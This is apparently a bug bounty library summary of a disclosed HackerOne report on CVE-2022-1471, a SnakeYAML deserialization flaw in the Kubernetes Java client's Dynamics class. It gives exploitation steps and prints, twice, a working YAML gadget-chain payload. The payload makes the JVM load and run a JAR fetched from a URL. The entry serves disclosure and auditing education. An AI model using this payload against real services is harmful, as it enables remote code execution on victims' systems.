# The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML

Kubernetes Java client's Dynamics class parsed untrusted YAML with unsafe SnakeYAML, letting an attacker trigger JVM code execution via a malicious ScriptEngineFactory class.

- Payout: $1,000
- Severity: medium
- Program: Kubernetes
- Found by: JLLeitschuh
- Disclosed: 2023-04-25
- CVE: CVE-2022-1471
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1807214
- Library page: https://bugbountylibrary.com/r/h1%3A1807214
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:medium tech:java technique:oob-exfil technique:source-review vuln:deserialization vuln:rce

**Target:** io.kubernetes.client.util.generic.dynamic.Dynamics (Kubernetes Java client YAML deserialization)
**Root cause:** Dynamics deserializes YAML using SnakeYAML's default Constructor instead of SafeConstructor, enabling arbitrary Java type instantiation from YAML tags.
**Steps:**
1. Build a JAR containing a class implementing javax.script.ScriptEngineFactory whose static initializer runs `Runtime.getRuntime().exec(...)`.
2. Add `/META-INF/services/javax.script.ScriptEngineFactory` listing the malicious class name.
3. Host the JAR at a URL reachable by the victim (e.g. `http://localhost:8080/`).
4. Feed the payload `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]` to Dynamics YAML parsing APIs.
5. SnakeYAML instantiates ScriptEngineManager, loads the remote JAR via URLClassLoader, and the static initializer executes.
**How found:** Recognized that Dynamics is public API and that SnakeYAML's default constructor allows arbitrary type instantiation; constructed a known SnakeYAML deserialization gadget chain (ScriptEngineManager + URLClassLoader) to prove RCE.
**Exploitation:** Attacker supplies untrusted YAML to any downstream consumer using Dynamics; the `!!javax.script.ScriptEngineManager` tag with a `URLClassLoader` pointing at an attacker-hosted JAR causes the JVM to fetch and load the JAR, executing the ScriptEngineFactory static initializer for code execution.
**Insight:** When auditing Java libraries that wrap YAML/XML parsers, check whether the public API exposes the unsafe default Constructor rather than SafeConstructor—even if no in-repo callers exist, downstream consumers inherit the risk.

## Proof of concept (copied exactly from the original report)

**YAML payload triggering ScriptEngineManager deserialization**

```
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
```

